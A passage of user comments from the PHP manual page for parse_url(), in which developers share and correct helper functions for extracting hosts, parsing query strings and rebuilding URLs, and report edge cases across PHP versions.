    //now we need to check each part can range from 0-255
    foreach($parts as $ip_parts)
    {
      if(intval($ip_parts)>255 || intval($ip_parts)<0)
      return FALSE; //if number is not within range of 0-255
    }
    return TRUE;
  }
  else
    return FALSE; //if format of ip address doesn't matches
}

    function domain($domainb)
    {
    $bits = explode('/', $domainb);
    if ($bits[0]=='http:' || $bits[0]=='https:')
    {
    $domainb= $bits[2];
    } else {
    $domainb= $bits[0];
    }
    unset($bits);
    $bits = explode('.', $domainb);
    $idz=count($bits);
    $idz-=3;
    if (strlen($bits[($idz+2)])==2) {
    $url=$bits[$idz].'.'.$bits[($idz+1)].'.'.$bits[($idz+2)];
    } else if (strlen($bits[($idz+2)])==0) {
    $url=$bits[($idz)].'.'.$bits[($idz+1)];
    } else {
    $url=$bits[($idz+1)].'.'.$bits[($idz+2)];
    }
    return $url;
    }

    $address='clients1.sub3.google.co.uk';
       $parsed_url = parse_url($address);
      $check = esip($parsed_url['host']);
    $host = $parsed_url['host'];
    if ($check == FALSE){
        if ($host != ""){
        $host = domain($host);
        }else{
        $host = domain($address);
            }
    }
    echo $host;
    ?>
This return: google.co.uk
'http://sub1.sub2.sub3.example.com:443';
return: example.com
'example.com';
return: example.com

Many times  parse_url return nothing when domain is google.com only for example.

Now, google.com, or google.co.uk will return the same.

Maybe is a little dirty, but works well for me, i use it to group internet access log from squid.

Regards.
Simon D 21-Jun-2011 03:45
To get the params (url query) as Associative array, use this function:

<?php
/**
 * Returns the url query as associative array
 *
 * @param    string    query
 * @return    array    params
 */
function convertUrlQuery($query) {
    $queryParts = explode('&', $query);

    $params = array();
    foreach ($queryParts as $param) {
        $item = explode('=', $param);
        $params[$item[0]] = $item[1];
    }

    return $params;
}
?>
Egor Chernodarov 06-Apr-2011 10:34
Noticed the following differences in error handling:

<?php
    print_r(parse_url('ftp://user:password@host:port'));
?>

In PHP 5.2.6 returns:
Array
(
    [scheme] => ftp
    [host] => host
    [user] => user
    [pass] => password
)

port is just skipped.

But in PHP 5.3.6 returns NULL without any warnings.
bahtiar at gadimov dot de 16-Dec-2010 02:38
Hi,

if you have problems with UTF8 encoded urls please see http://bugs.php.net/bug.php?id=52923 . parse_url breaks the utf8. :( You have to implement it yourself.
Mark Dobrinic 10-Dec-2010 11:55
It seems the host-part strips off the last [:port] off the end of the hostname

When something is wrong in the actual request, this proves to be the wrong way to do things.

It would be better to not strip off the [:port], but to keep the string *before* the first [:port] as the hostname.

Problem with (maybe malformed) provided HTTP_HOST
hostname:443:443
that resolved in
'host' => 'hostname:443'

Which gave me problems.

Solution would be to enforce this yourself, explicitly:

<?php
$p = parse_url( $url );
$host = explode(':', $p['host']);
$hostname = $host[0];
?>
jesse at example dot com 26-Sep-2010 04:48
@ solenoid: Your code was very helpful, but it fails when the current URL has no query string (it appends '&' instead of '?' before the query).  Below is a fixed version that catches this edge case and corrects it.

<?php
function modify_url($mod)
{
    $url = "http://".$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'];
    $query = explode("&", $_SERVER['QUERY_STRING']);
    if (!$_SERVER['QUERY_STRING']) {$queryStart = "?";} else {$queryStart = "&";}
    // modify/delete data
    foreach($query as $q)
    {
        list($key, $value) = explode("=", $q);
        if(array_key_exists($key, $mod))
        {
            if($mod[$key])
            {
                $url = preg_replace('/'.$key.'='.$value.'/', $key.'='.$mod[$key], $url);
            }
            else
            {
                $url = preg_replace('/&?'.$key.'='.$value.'/', '', $url);
            }
        }
    }
    // add new data
    foreach($mod as $key => $value)
    {
        if($value && !preg_match('/'.$key.'=/', $url))
        {
            $url .= $queryStart.$key.'='.$value;
        }
    }
    return $url;
}
?>
martin at planio dot com 17-Sep-2010 04:02
For those of you sending URLs in HTML emails with a redirect address in the query string, note that Hotmail unescapes / and : characters in the query string. So that breaks the parse_url() function call. Take this as an example:
href="http://example.com/redirect?url=http%3A%2F%2Fplanio.com"
Hotmail will transform it to this:
href="http://example.com/redirect?url=http://planio.com"

The solution is to be preventive before the call to parse_url():
<?php
$q_index = strpos($uri, '?');
if ($q_index !== FALSE &&
  (strpos($uri, ':', $q_index) !== FALSE || strpos($uri, '/', $q_index) !== FALSE)) {
  $begin = substr($uri, 0, $q_index);
  $end = substr($uri, $q_index, strlen($uri)-$q_index);
  $end = str_replace('/', '%2F', $end);
  $end = str_replace(':', '%3A', $end);
  $uri = $begin.$end;
}
?>
przemek at sobstel dot org 19-Aug-2010 10:44
If you want to get host, function will return NULL if you pass only host.

Example:

<?php
parse_url($url, PHP_URL_HOST);
?>

$url => value returned

http://example.com => string 'example.com' (length=11)
http://www.example.com =>string 'www.example.com' (length=15)
http://www.example.com:8080 => string 'www.example.com' (length=15)
example.com => null
www.example.com => null
example.com:8080 => string 'example.com' (length=11)
www.example.com:8080 => string 'www.example.com' (length=15)
solenoid at example dot com 23-Apr-2010 01:05
Here's a piece of code that modifies, replaces or removes the url query. This can typically used in paging situations where there are more parameters than the page.

<?php
function modify_url($mod)
{
    $url = "http://".$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'];
    $query = explode("&", $_SERVER['QUERY_STRING']);
    // modify/delete data
    foreach($query as $q)
    {
        list($key, $value) = explode("=", $q);
        if(array_key_exists($key, $mod))
        {
            if($mod[$key])
            {
                $url = preg_replace('/'.$key.'='.$value.'/', $key.'='.$mod[$key], $url);
            }
            else
            {
                $url = preg_replace('/&?'.$key.'='.$value.'/', '', $url);
            }
        }
    }
    // add new data
    foreach($mod as $key => $value)
    {
        if($value && !preg_match('/'.$key.'=/', $url))
        {
            $url .= '&'.$key.'='.$value;
        }
    }
    return $url;
}

// page url: "http://www.example.com/page.php?p=5&show=list&style=23"

$url = modify_url(array('p' => 4, 'show' => 'column'));

// $url = "http://www.example.com/page.php?p=4&show=column&style=23"
?>
james at roundeights dot com 26-Feb-2010 08:24
I was writing unit tests and needed to cause this function to kick out an error and return FALSE in order to test a specific execution path. If anyone else needs to force a failure, the following inputs will work:

<?php
parse_url("http:///example.com");
parse_url("http://:80");
parse_url("http://user@:80");
?>
need_sunny at yahoo dot com 25-Dec-2009 02:57
Thanks to xellisx for his parse_query function. I used it in one of my projects and it works well. But it has an error. I fixed the error and improved it a little bit. Here is my version of it:

<?php
// Originally written by xellisx
function parse_query($var)
 {
  /**
   *  Use this function to parse out the query array element from
   *  the output of parse_url().
   */
  $var  = parse_url($var, PHP_URL_QUERY);
  $var  = html_entity_decode($var);
  $var  = explode('&', $var);
  $arr  = array();

  foreach($var as $val)
   {
    $x          = explode('=', $val);
    $arr[$x[0]] = $x[1];
   }
  unset($val, $x, $var);
  return $arr;
 }
?>

At the first line there was parse_query($val), I made it $var. It used to return a null array before this fix.

I have added the parse_url line. So now the function will only focus in the query part, not the whole URL. This is useful if something like below is done:
<?php
$my_GET = parse_query($_SERVER['REQUEST_URI']);
?>
nirazuelos at gmail dot com 09-Oct-2009 11:45
Hello, for some odd reason, parse_url returns the host (ex. example.com) as the path when no scheme is provided in the input url. So I've written a quick function to get the real host:

<?php
function getHost($Address) {
   $parseUrl = parse_url(trim($Address));
   return trim($parseUrl[host] ? $parseUrl[host] : array_shift(explode('/', $parseUrl[path], 2)));
}

getHost("example.com"); // Gives example.com
getHost("http://example.com"); // Gives example.com
getHost("www.example.com"); // Gives www.example.com
getHost("http://example.com/xyz"); // Gives example.com
?>

You could try anything! It gives the host (including the subdomain if exists).

Hope it helped you.
ap dot public1 at gmail dot com 15-Jul-2009 05:36
Simple static library that allows easy manipulation of url parameters:

<?php
    /**
     * File provides easy way to manipulate url parameters
     * @author Alexander Podgorny
     */

    class Url {
        /**
         * Splits url into array of it's pieces as follows:
         * [scheme]://[user]:[pass]@[host]/[path]?[query]#[fragment]
         * In addition it adds 'query_params' key which contains array of
         * url-decoded key-value pairs
         *
         * @param String $sUrl Url
         * @return Array Parsed url pieces
         */
        public static function explode($sUrl) {
            $aUrl = parse_url($sUrl);
            $aUrl['query_params'] = array();
            $aPairs = explode('&', $aUrl['query']);
            DU::show($aPairs);
            foreach($aPairs as $sPair) {
                if (trim($sPair) == '') { continue; }
                list($sKey, $sValue) = explode('=', $sPair);
                $aUrl['query_params'][$sKey] = urldecode($sValue);
            }
            return $aUrl;
        }
        /**
         * Compiles url out of array of it's pieces (returned by explodeUrl)
         * 'query' is ignored if 'query_params' is present
         *
         * @param Array $aUrl Array of url pieces
         */
        public static function implode($aUrl) {
            //[scheme]://[user]:[pass]@[host]/[path]?[query]#[fragment]

            $sQuery = '';

            // Compile query
            if (isset($aUrl['query_params']) && is_array($aUrl['query_params'])) {
                $aPairs = array();
                foreach ($aUrl['query_params'] as $sKey=>$sValue) {
                    $aPairs[] = $sKey.'='.urlencode($sValue);
                }
                $sQuery = implode('&', $aPairs);
            } else {
                $sQuery = $aUrl['query'];
            }

            // Compile url
            $sUrl =
                $aUrl['scheme'] . '://' . (
                    isset($aUrl['user']) && $aUrl['user'] != '' && isset($aUrl['pass'])
                       ? $aUrl['user'] . ':' . $aUrl['pass'] . '@'
                       : ''
                ) .
                $aUrl['host'] . (
                    isset($aUrl['path']) && $aUrl['path'] != ''
                       ? $aUrl['path']
                       : ''
                ) . (
                   $sQuery != ''
                       ? '?' . $sQuery
                       : ''
                ) . (
                   isset($aUrl['fragment']) && $aUrl['fragment'] != ''
                       ? '#' . $aUrl['fragment']
                       : ''
                );
            return $sUrl;
        }
        /**
         * Parses url and returns array of key-value pairs of url params
         *
         * @param String $sUrl
         * @return Array
         */
        public static function getParams($sUrl) {
            $aUrl = self::explode($sUrl);
            return $aUrl['query_params'];
        }
        /**
         * Removes existing url params and sets them to those specified in $aParams
         *
         * @param String $sUrl Url
         * @param Array $aParams Array of Key-Value pairs to set url params to
         * @return  String Newly compiled url
         */
        public static function setParams($sUrl, $aParams) {
            $aUrl = self::explode($sUrl);
            $aUrl['query'] = '';
            $aUrl['query_params'] = $aParams;
            return self::implode($aUrl);
        }
        /**
         * Updates values of existing url params and/or adds (if not set) those specified in $aParams
         *
         * @param String $sUrl Url
         * @param Array $aParams Array of Key-Value pairs to set url params to
         * @return  String Newly compiled url
         */
        public static function updateParams($sUrl, $aParams) {
            $aUrl = self::explode($sUrl);
            $aUrl['query'] = '';
            $aUrl['query_params'] = array_merge($aUrl['query_params'], $aParams);
            return self::implode($aUrl);
        }
    }

?>
theoriginalmarksimpson at gmail dot com 18-Apr-2009 02:08
An update to the function by FredLudd at gmail dot com.  I added IPv6 functionality as well.

<?php
function j_parseUrl($url) {
  $r  = "(?:([a-z0-9+-._]+)://)?";
  $r .= "(?:";
  $r .=   "(?:((?:[a-z0-9-._~!$&'()*+,;=:]|%[0-9a-f]{2})*)@)?";
  $r .=   "(?:\[((?:[a-z0-9:])*)\])?";
  $r .=   "((?:[a-z0-9-._~!$&'()*+,;=]|%[0-9a-f]{2})*)";
  $r .=   "(?::(\d*))?";
  $r .=   "(/(?:[a-z0-9-._~!$&'()*+,;=:@/]|%[0-9a-f]{2})*)?";
  $r .=   "|";
  $r .=   "(/?";
  $r .=     "(?:[a-z0-9-._~!$&'()*+,;=:@]|%[0-9a-f]{2})+";
  $r .=     "(?:[a-z0-9-._~!$&'()*+,;=:@\/]|%[0-9a-f]{2})*";
  $r .=    ")?";
  $r .= ")";
  $r .= "(?:\?((?:[a-z0-9-._~!$&'()*+,;=:\/?@]|%[0-9a-f]{2})*))?";
  $r .= "(?:#((?:[a-z0-9-._~!$&'()*+,;=:\/?@]|%[0-9a-f]{2})*))?";
  preg_match("`$r`i", $url, $match);
  $parts = array(
            "scheme"=>'',
            "userinfo"=>'',
            "authority"=>'',
            "host"=> '',
            "port"=>'',
            "path"=>'',
            "query"=>'',
            "fragment"=>'');
  switch (count ($match)) {
    case 10: $parts['fragment'] = $match[9];
    case 9: $parts['query'] = $match[8];
    case 8: $parts['path'] =  $match[7];
    case 7: $parts['path'] =  $match[6] . $parts['path'];
    case 6: $parts['port'] =  $match[5];
    case 5: $parts['host'] =  $match[3]?"[".$match[3]."]":$match[4];
    case 4: $parts['userinfo'] =  $match[2];
    case 3: $parts['scheme'] =  $match[1];
  }
  $parts['authority'] = ($parts['userinfo']?$parts['userinfo']."@":"").
                         $parts['host'].
                        ($parts['port']?":".$parts['port']:"");
  return $parts;
}
?>

When using the url

  /* line too long for this site's comment handler */
  "foo://username:password@[2001:4860:0:2001::68]:8042".
      "/over/there/index.dtb;type=animal?name=ferret#nose"

The original would return

Array
(
    [scheme] => foo
    [userinfo] => username:password
    [authority] => username:password@
    [host] =>
    [port] =>
    [path] =>
    [query] =>
    [fragment] =>
)

The new one returns

Array
(
    [scheme] => foo
    [userinfo] => username:password
    [authority] => username:password@[2001:4860:0:2001::68]:8042
    [host] => [2001:4860:0:2001::68]
    [port] => 8042
    [path] => /over/there/index.dtb;type=animal
    [query] => name=ferret
    [fragment] => nose
)

All of the other examples FredLudd used below still work exactly the same.
pbcomm at gmail dot com 26-Oct-2008 06:55
Modification to the code from:
theoriginalmarksimpson at gmail dot com

Change:
$r .= "(?:(?P<login>\w+):(?P<pass>\w+)@)?";

Replace with:
$r .= "(?:(?P<login>\w+):?(?P<pass>\w+)?@)?";

This will cover the case the only username is present in the url:

http://username@subdomain.domain.com/index.php?arg1=test#anchor
vdklah at hotmail dot com 17-Oct-2008 11:53
Some example that determines the URL port.
When port not specified, it derives it from the scheme.

<?php
function getUrlPort( $urlInfo )
{
    if( isset($urlInfo['port']) ) {
        $port = $urlInfo['port'];
    } else { // no port specified; get default port
        if (isset($urlInfo['scheme']) ) {
            switch( $urlInfo['scheme'] ) {
                case 'http':
                    $port = 80; // default for http
                    break;
                case 'https':
                    $port = 443; // default for https
                    break;
                case 'ftp':
                    $port = 21; // default for ftp
                    break;
                case 'ftps':
                    $port = 990; // default for ftps
                    break;
                default:
                    $port = 0; // error; unsupported scheme
                    break;
            }
        } else {
            $port = 0; // error; unknown scheme
        }
    }
    return $port;
}

$url = "http://nl3.php.net/manual/en/function.parse-url.php";
$urlInfo = parse_url( $url );
$urlPort = getUrlPort( $urlInfo );
if( $urlPort !== 0 ) {
    print 'Found URL port: '.$urlPort;
} else {
    print 'ERROR: Could not find port at URL: '.$url;
}
?>
gautam at rogers dot com 15-Oct-2008 08:08
What about using something like this to safely encoding all the values that are passed in the query portion?

Example input:
http://www.example.com/?first=john&last=smith&email=john@smith.com

Result:
http://www.example.com/?first=john&last=smith&email=john%40smith.com

<?php
function safe_url($url) {
  // Make sure we have a string to work with
  if(!empty($url)) {
    // Explode into URL keys
    $urllist=parse_url($url);

    // Make sure we have a valid result set and a query field
    if(is_array($urllist) && isset($urllist["query"])) {
      // Explode into key/value array
      $keyvalue_list=explode("&",($urllist["query"]));

      // Store resulting key/value pairs
      $keyvalue_result=array();

      foreach($keyvalue_list as $key=>$value) {
        // Explode each individual key/value into an array
        $keyvalue=explode("=",$value);

        // Make sure we have a "key=value" array
        if(count($keyvalue)==2) {
          // Encode the value portion
          $keyvalue[1]=urlencode($keyvalue[1]);

          // Add our key and encoded value into the result
          array_push($keyvalue_result,implode("=",$keyvalue));
        }
      }

      // Repopulate our query key with encoded results
      $urllist["query"]=implode("&",$keyvalue_result);

      // Build the the final output URL
      $url=(isset($urllist["scheme"])?$urllist["scheme"]."://":"").
           (isset($urllist["user"])?$urllist["user"].":":"").
           (isset($urllist["pass"])?$urllist["pass"]."@":"").
           (isset($urllist["host"])?$urllist["host"]:"").
           (isset($urllist["port"])?":".$urllist["port"]:"").
           (isset($urllist["path"])?$urllist["path"]:"").
           (isset($urllist["query"])?"?".$urllist["query"]:"").
           (isset($urllist["fragment"])?"#".$urllist["fragment"]:"");
    }
  }

  return $url;
}
?>
FredLudd at gmail dot com 03-Oct-2008 08:24
Another shot at trying to find a better parser. I noticed that the laulibrius/theoriginalmarksimpson functions didn't quite handle the URL for the page they were displayed on. For my mirror, ca3, this is
  http://ca3.php.net/manual/en/function.parse-url.php

Run it through the function and it parses to
  scheme => http
  login =>
  pass =>
  host => ca3.php.net
  ip =>
  subdomain => ca3
  domain => php.
  extension => net
  port =>
  path => /manual/en/function.parse
  file => function.parse
that is, the file name gets a bit mangled

Rather than tweak the function's regular expression yet again, I opted to adapt a RegExp that served me well in Javascript:

function j_parseUrl($url) {
  $r  = "(?:([a-z0-9+-._]+)://)?";
  $r .= "(?:";
  $r .=   "(?:((?:[a-z0-9-._~!$&'()*+,;=:]|%[0-9a-f]{2})*)@)?";
  $r .=   "((?:[a-z0-9-._~!$&'()*+,;=]|%[0-9a-f]{2})*)";
  $r .=   "(?::(\d*))?";
  $r .=   "(/(?:[a-z0-9-._~!$&'()*+,;=:@/]|%[0-9a-f]{2})*)?";
  $r .=   "|";
  $r .=   "(/?";
  $r .=     "(?:[a-z0-9-._~!$&'()*+,;=:@]|%[0-9a-f]{2})+";
  $r .=     "(?:[a-z0-9-._~!$&'()*+,;=:@\/]|%[0-9a-f]{2})*";
  $r .=    ")?";
  $r .= ")";
  $r .= "(?:\?((?:[a-z0-9-._~!$&'()*+,;=:\/?@]|%[0-9a-f]{2})*))?";
  $r .= "(?:#((?:[a-z0-9-._~!$&'()*+,;=:\/?@]|%[0-9a-f]{2})*))?";
  preg_match("`$r`i", $url, $match);
  $parts = array(
            "scheme"=>'',
            "userinfo"=>'',
            "authority"=>'',
            "host"=> '',
            "port"=>'',
            "path"=>'',
            "query"=>'',
            "fragment"=>'');
  switch (count ($match)) {
    case 9: $parts['fragment'] = $match[8];
    case 8: $parts['query'] = $match[7];
    case 7: $parts['path'] =  $match[6];
    case 6: $parts['path'] =  $match[5] . $parts['path'];
    case 5: $parts['port'] =  $match[4];
    case 4: $parts['host'] =  $match[3];
    case 3: $parts['userinfo'] =  $match[2];
    case 2: $parts['scheme'] =  $match[1];
  }
  $parts['authority'] = ($parts['userinfo']?$parts['userinfo']."@":"").
                         $parts['host'].
                        ($parts['port']?":".$parts['port']:"");
  return $parts;
}

This function, when fed "http://ca3.php.net/manual/en/function.parse-url.php", returns
  scheme => http
  userinfo =>
  authority => ca3.php.net
  host => ca3.php.net
  port =>
  path => /manual/en/function.parse-url.php
  query =>
  fragment =>
which is somewhat closer to my needs.

But everything should be tested against the two examples provided by RFC3986,

  /* line too long for this site's commnet handler */
  "foo://username:password@example.com:8042".
      "/over/there/index.dtb;type=animal?name=ferret#nose"
and
  "urn:example:animal:ferret:nose"

Here the native function parse_url() performs admirably on that "urn:" example. Mine fails to pick out the path ("example:animal:ferret:nose") and the laulibrius/theoriginalmarksimpson function can't decipher anything there. On the "foo:" example, both my function and parse_url() get it right, while the other examples on this page don't.

The laulibrius/theoriginalmarksimpson function delivers
  scheme => foo
  login => username
  pass => password
  host => example.com
  ip =>
  subdomain =>
  domain => example.
  extension => com
  port => 8042
  path => /over/there/index.dtb
  file => index.dtb

As you can see, the query string ("name=ferret") and fragment ("nose") have dropped off, as well as the parameter ("type=animal").
xellisx 01-Oct-2008 05:37
I need to parse out the query string from the referrer, so I created this function.

<?php
function parse_query($val)
 {
  /**
   *  Use this function to parse out the query array element from
   *  the output of parse_url().
   */
  $var  = html_entity_decode($var);
  $var  = explode('&', $var);
  $arr  = array();

  foreach($var as $val)
   {
    $x          = explode('=', $val);
    $arr[$x[0]] = $x[1];
   }
  unset($val, $x, $var);
  return $arr;
 }
?>
ilja at radusch dot com 26-Sep-2008 01:26
Here is an update to the glue_url() function.

It can now handle relative URLs if only 'path' is provided.

<?php
function glue_url($parsed) {
    if (!is_array($parsed)) {
        return false;
    }

    $uri = isset($parsed['scheme']) ? $parsed['scheme'].':'.((strtolower($parsed['scheme']) == 'mailto') ? '' : '//') : '';
    $uri .= isset($parsed['user']) ? $parsed['user'].(isset($parsed['pass']) ? ':'.$parsed['pass'] : '').'@' : '';
    $uri .= isset($parsed['host']) ? $parsed['host'] : '';
    $uri .= isset($parsed['port']) ? ':'.$parsed['port'] : '';

    if (isset($parsed['path'])) {
        $uri .= (substr($parsed['path'], 0, 1) == '/') ?
            $parsed['path'] : ((!empty($uri) ? '/' : '' ) . $parsed['path']);
    }

    $uri .= isset($parsed['query']) ? '?'.$parsed['query'] : '';
    $uri .= isset($parsed['fragment']) ? '#'.$parsed['fragment'] : '';

    return $uri;
}
?>
nospam at spellingcow dot com 08-Sep-2008 11:03
URL's in the query string of a relative URL will cause a problem

fails:
/page.php?foo=bar&url=http://www.example.com

parses:
http://www.foo.com/page.php?foo=bar&url=http://www.example.com
marco panichi 23-Aug-2008 10:47
my function catch the url written on the browser by the user and does the same thing of parse_url. but better, I think. I don't like parse_url because it says nothing about elements that it doesn't find in the url. my function instead return an empty string.

<?php
function get_url()
{
    $arr = array();
    $uri = $_SERVER['REQUEST_URI'];

    // query
    $x = array_pad( explode( '?', $uri ), 2, false );
    $arr['query'] = ( $x[1] )? $x[1] : '' ;

    // resource
    $x         = array_pad( explode( '/', $x[0] ), 2, false );
    $x_last = array_pop( $x );
    if( strpos( $x_last, '.' ) === false )
    {
        $arr['resource'] = '';
        $x[] = $x_last;
    }
    else
    {
        $arr['resource'] = $x_last;
    }

    // path
    $arr['path'] = implode( '/', $x );
    if( substr( $arr['path'], -1 ) !== '/' ) $arr['path'] .= '/';

    // domain
    $arr['domain']    = $_SERVER['SERVER_NAME'];

    // scheme
    $server_prt        = explode( '/', $_SERVER['SERVER_PROTOCOL'] );
    $arr['scheme']    = strtolower( $server_prt[0] );

    // url
    $arr['url'] = $arr['scheme'].'://'.$arr['domain'].$uri;

    return $arr;
}
?>

PS: I found working with explode is faster than using preg_match (I tryed with getmicrotime function and 'for' cycles).

PPS: I used array_pad to prevent any notice.
andrewtheartist at hotmail dot com 29-Jun-2008 02:28
Here's the easiest way to get the URL to the path that your script is in (so not the actual script name itself, just the complete URL to the folder it's in)

echo "http://".$_SERVER['HTTP_HOST'].dirname($_SERVER['PHP_SELF']);
Cool Coyote 23-Jun-2008 02:35
based on the "laulibrius at hotmail dot com" function, this work for relatives url only:

<?php
function parseUrl($url) {
$r = "^(?:(?P<path>[\.\w/]*/)?";
$r .= "(?P<file>\w+(?:\.\w+)?)?)\.(?P<extension>\w+)?";
$r .= "(?:\?(?P<arg>[\w=&]+))?";
$r .= "(?:#(?P<anchor>\w+))?";
$r = "!$r!";

preg_match ( $r, $url, $out );
return $out;
}

print_r(parseUrl("../test/f.aq.php?p=1&v=blabla#X1"));

?>

returns:
Array
(
    [0] => ../test/faq.php?p=1&v=blabla#X1
    [path] => ../test/
    [1] => ../test/
    [file] => faq
    [2] => faq
    [extension] => php
    [3] => php
    [arg] => p=1&v=blabla
    [4] => p=1&v=blabla
    [anchor] => X1
    [5] => X1
)
laulibrius at hotmail dot com 16-Jun-2008 06:31
There was one thing missing in the function dropped by "to1ne at hotmail dot com" when i tried it : domain and subdomain couldn't have a dash "-". So i add it in the regexp and the function looks like this now :

<?php
    function parseUrl($url) {
        $r  = "^(?:(?P<scheme>\w+)://)?";
        $r .= "(?:(?P<login>\w+):(?P<pass>\w+)@)?";
        $r .= "(?P<host>(?:(?P<subdomain>[-\w\.]+)\.)?" . "(?P<domain>[-\w]+\.(?P<extension>\w+)))";
        $r .= "(?::(?P<port>\d+))?";
        $r .= "(?P<path>[\w/]*/(?P<file>\w+(?:\.\w+)?)?)?";
        $r .= "(?:\?(?P<arg>[\w=&]+))?";
        $r .= "(?:#(?P<anchor>\w+))?";
        $r = "!$r!";                                                // Delimiters

        preg_match ( $r, $url, $out );

        return $out;
    }
?>

Btw, thanks for the function, it helps me a lot.
to1ne at hotmail dot com 13-Jun-2008 08:01
Based on the idea of "jbr at ya-right dot com" have I been working on a new function to parse the url:

<?php
function parseUrl($url) {
    $r  = "^(?:(?P<scheme>\w+)://)?";
    $r .= "(?:(?P<login>\w+):(?P<pass>\w+)@)?";
    $r .= "(?P<host>(?:(?P<subdomain>[\w\.]+)\.)?" . "(?P<domain>\w+\.(?P<extension>\w+)))";
    $r .= "(?::(?P<port>\d+))?";
    $r .= "(?P<path>[\w/]*/(?P<file>\w+(?:\.\w+)?)?)?";
    $r .= "(?:\?(?P<arg>[\w=&]+))?";
    $r .= "(?:#(?P<anchor>\w+))?";
    $r = "!$r!";                                                // Delimiters

    preg_match ( $r, $url, $out );

    return $out;
}
print_r ( parseUrl ( 'me:you@sub.site.org:29000/pear/validate.html?happy=me&sad=you#url' ) );
?>

This returns:
Array
(
    [0] => me:you@sub.site.org:29000/pear/validate.html?happy=me&sad=you#url
    [scheme] =>
    [1] =>
    [login] => me
    [2] => me
    [pass] => you
    [3] => you
    [host] => sub.site.org
    [4] => sub.site.org
    [subdomain] => sub
    [5] => sub
    [domain] => site.org
    [6] => site.org
    [extension] => org
    [7] => org
    [port] => 29000
    [8] => 29000
    [path] => /pear/validate.html
    [9] => /pear/validate.html
    [file] => validate.html
    [10] => validate.html
    [arg] => happy=me&sad=you
    [11] => happy=me&sad=you
    [anchor] => url
    [12] => url
)

So both named and numbered array keys are possible.

It's quite advanced, but I think it works in any case... Let me know if it doesn't...
jbr at ya-right dot com 03-May-2008 05:24
This function never works the way you think it should...

Example....

<?php

print_r ( parse_url ( 'me:you@sub.site.org/pear/validate.html?happy=me&sad=you#url' ) );

?>

Returns...

Array
(
    [scheme] => me
    [path] => you@sub.site.org/pear/validate.html
    [query] => happy=me&sad=you
    [fragment] => url
)

Here my way of doing parse_url

<?php

function parseUrl ( $url )
{
    $r  = '!(?:(\w+)://)?(?:(\w+)\:(\w+)@)?([^/:]+)?';
    $r .= '(?:\:(\d*))?([^#?]+)?(?:\?([^#]+))?(?:#(.+$))?!i';

    preg_match ( $r, $url, $out );

    return $out;
}

print_r ( parseUrl ( 'me:you@sub.site.org/pear/validate.html?happy=me&sad=you#url' ) );

?>

Returns...

Array
(
    [0] => me:you@sub.site.org/pear/validate.html?happy=me&sad=you#url
    [1] =>
    [2] => me
    [3] => you
    [4] => sub.site.org
    [5] =>
    [6] => /pear/validate.html
    [7] => happy=me&sad=you
    [8] => url
)

Where as...

out[0] = full url
out[1] = scheme or '' if no scheme was found
out[2] = username or '' if no auth username was found
out[3] = password or '' if no auth password was found
out[4] = domain name or '' if no domain name was found
out[5] = port number or '' if no port number was found
out[6] = path or '' if no path was found
out[7] = query or '' if no query was found
out[8] = fragment or '' if no fragment was found
Nicolas Merlet - admin(at)merletn.org 14-Mar-2008 04:05
Please note that parse_url seems not to produce always the same results when passing non-standard urls.

Eg. I was using this code since 2005 (both under PHP 4.3.10 and PHP 5.2.3) :

<?php

  $p = parse_url ( 'http://domain.tld/tcp://domain2.tld/dir/file' ) ;

  $d2 = parse_url ( $p['path'] ) ;

  echo $d2 ;  // returns '/dir/file'

?>

Of course my example is very specific, as URL is not really correct. But using parse_url was a great trick to split URL easily (without using regular expressions).

Unfortunately under PHP 5.2.0-8 (+etch10), parse_url will fail as it does not accept the slash (/) at the beginning of URL.

Here is a possible patch :

<?php

  $p = parse_url ( 'http://domain.tld/tcp://domain2.tld/dir/file' ) ;

  $d2 = parse_url ( substr ( $p['path'] , 1 ) ) ;

  echo $d2 ;  // returns '/dir/file'

?>

However this last code is not optimized at all, and should be replaced by a regular expression to split URL (so that parse_url would be no longer used).

So you should use parse_url very carefully, and verify that you pass only standard URLs...
Nick Smith 05-Sep-2007 11:32
Note that older versions of PHP (e.g., 4.1) returned an blank string as the path for URLs without any path, such as http://www.php.net

However more recent versions of PHP (e.g., 4.4.7) don't set the path element in the array, so old code will get a PHP warning about an undefined index.
Michael Muryn 27-Aug-2007 05:51
Another update to the glue_url function: applied the "isset" treatment to $parsed['pass'].

<?php
function glue_url($parsed)
{
    if (!is_array($parsed)) return false;
    $uri = isset($parsed['scheme']) ? $parsed['scheme'].':'.((strtolower($parsed['scheme']) == 'mailto') ? '' : '//') : '';
    $uri .= isset($parsed['user']) ? $parsed['user'].(isset($parsed['pass']) ? ':'.$parsed['pass'] : '').'@' : '';
    $uri .= isset($parsed['host']) ? $parsed['host'] : '';
    $uri .= isset($parsed['port']) ? ':'.$parsed['port'] : '';
    if(isset($parsed['path']))
    {
        $uri .= (substr($parsed['path'], 0, 1) == '/') ? $parsed['path'] : ('/'.$parsed['path']);
    }
    $uri .= isset($parsed['query']) ? '?'.$parsed['query'] : '';
    $uri .= isset($parsed['fragment']) ? '#'.$parsed['fragment'] : '';
    return $uri;
}
?>
stevenlewis at hotmail dot com 13-Aug-2007 12:08
an update to the glue url function.

you are able to put a host and a path without a slash at the beginning of the path

<?php
function glue_url($parsed)
    {
    if (! is_array($parsed)) return false;
    $uri = isset($parsed['scheme']) ? $parsed['scheme'].':'.((strtolower($parsed['scheme']) == 'mailto') ? '':'//'): '';
    $uri .= isset($parsed['user']) ? $parsed['user'].($parsed['pass']? ':'.$parsed['pass']:'').'@':'';
    $uri .= isset($parsed['host']) ? $parsed['host'] : '';
    $uri .= isset($parsed['port']) ? ':'.$parsed['port'] : '';
    if(isset($parsed['path']))
        {
        $uri .= (substr($parsed['path'],0,1) == '/')?$parsed['path']:'/'.$parsed['path'];
        }
    $uri .= isset($parsed['query']) ? '?'.$parsed['query'] : '';
    $uri .= isset($parsed['fragment']) ? '#'.$parsed['fragment'] : '';
    return $uri;
    }
?>
spam at paulisageek dot com 08-Aug-2007 09:05
In reply to adrian,

Thank you very much for your function. There is a small issue with your relative protocol function. You need to remove the // when making the url the path. Here is the new function.

function resolve_url($base, $url) {
        if (!strlen($base)) return $url;
        // Step 2
        if (!strlen($url)) return $base;
        // Step 3
        if (preg_match('!^[a-z]+:!i', $url)) return $url;
        $base = parse_url($base);
        if ($url{0} == "#") {
                // Step 2 (fragment)
                $base['fragment'] = substr($url, 1);
                return unparse_url($base);
        }
        unset($base['fragment']);
        unset($base['query']);
        if (substr($url, 0, 2) == "//") {
                // Step 4
                return unparse_url(array(
                        'scheme'=>$base['scheme'],
